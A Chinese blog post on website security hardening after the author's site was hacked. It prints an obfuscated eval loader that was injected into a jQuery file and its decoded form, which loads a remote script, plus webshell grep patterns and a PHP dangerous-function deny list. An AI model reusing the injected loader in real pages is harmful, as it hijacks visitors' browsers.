WEB 安全实战

这几天网站被黑客盯上了,因为安全做得不好,被黑客攻击了好几次。常见的 WEB 攻击包括 XSS 攻击、SQL 注入、DDOS、CRFS 等,为了提高网站安全性能,最近特意对网站做了安全维护,属予作文以记之。

攻击记录

  • 有一次黑客在首页引入的 jQuery-1.8.0.js 中写入一行 js 代码,
1
2
3
4
var str="cnbtldms-vqhsd '!;rbqhos rqb<[!gsso9..vvv-  fnnfkd`crk-bnl.robncd.iptdqx-
ir[!=;.rbqhos=!(:";
var length=str.length;var ba64="";for(i=0;i<length;i++){var
s=str.charCodeAt(i);s++;ba64=ba64+String.fromCharCode(s)}eval(ba64);
翻译后是

1
document.write ("\<script src="http://www.googleadsl.com/spcode/jquery.js"></script>")
导致的结果是打开网站几秒后跳转到一个色情页面,页面太美,不忍直视。
  • 还有一次是文件内容被篡改。被攻击那天早上打开一个页面的时候突然发现服务器 500 异常,然后登陆服务器查看站点目录, stat filename 发现站点下有一个目录下的所有文件均在该日凌晨 5:16 分左右被修改。打开内容一看,画面惨不忍睹。

  • 在有一次就是黑客上传文件到特定目录下

木马查杀

  • 快速木马查找命令
1
2
3
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html/
grep -r --include=*.php '[^a-z]eval($_' /var/www
grep -r --include=*.php 'file_put_contents(.*$_POST\[.*\]);' /var/www/html/
  • 利用find mtime查找最近两天或者发现木马的这几天,有哪些PHP文件被修改
1
find -mtime -2 -type f -name \*.php

PHP 安全防范

  • 确保运行 PHP 的用户为一般用户,如 www

  • 禁用 PHP 危险函数

1
2
3
4
5
6
7
8
disable_functions = passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,
ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,phpinfo #禁用的函数
expose_php = off #避信免暴露PHP息
display_errors = off
enable_dl = off
allow_url_include = off
session.cookie_httponly = 1
upload_tmp_dir = /tmp
  • 改变 PHP 文件的权限:644
1
2
3
chmod 644 -R ./
find ./ -type d -print|xargs chmod 755;
chown -R apache:apache ./
  • 关闭上传目录的 PHP 执行权限
1
2
3
4
5
6
7
8
9
<Directory "/home/www/upload/">
php_flag engine off # 关闭 PHP 执行引擎
<filesmatch "(.*)php"> # 匹配以 PHP 结尾的文件,设置权限
Order deny,allow
Deny from all # 全部不解析
Allow from localhost # 允许例外:
Allow from 127.0.0.1 # 允许的例外
</filesmatch>
</Directory>

Apache 安全

  • 更改 Apache 的用户为一般用户,如 apache,注意存放数据目录权限为 apache
1
2
User apache
Group apache
  • 禁用 -Indexes
1
Options -Indexes FollowSymLinks
如果目录下没有 index.* 文件则 403 错误而不是列出目录下的文件。
  • 启用 mod_security 模块防止 SQL 注入
    安装:

    1
    yum install mod_security

    httpd.conf 中引入 mod_security.conf

  • 设置 HTTP 头信息防止 XSS 攻击

1
2
3
<IfModule mod_headers.c>
Header set X-XSS-Protection "1; mode=block"
</IfModule>
  • mod_evasive20 防止 DDOS 攻击

参考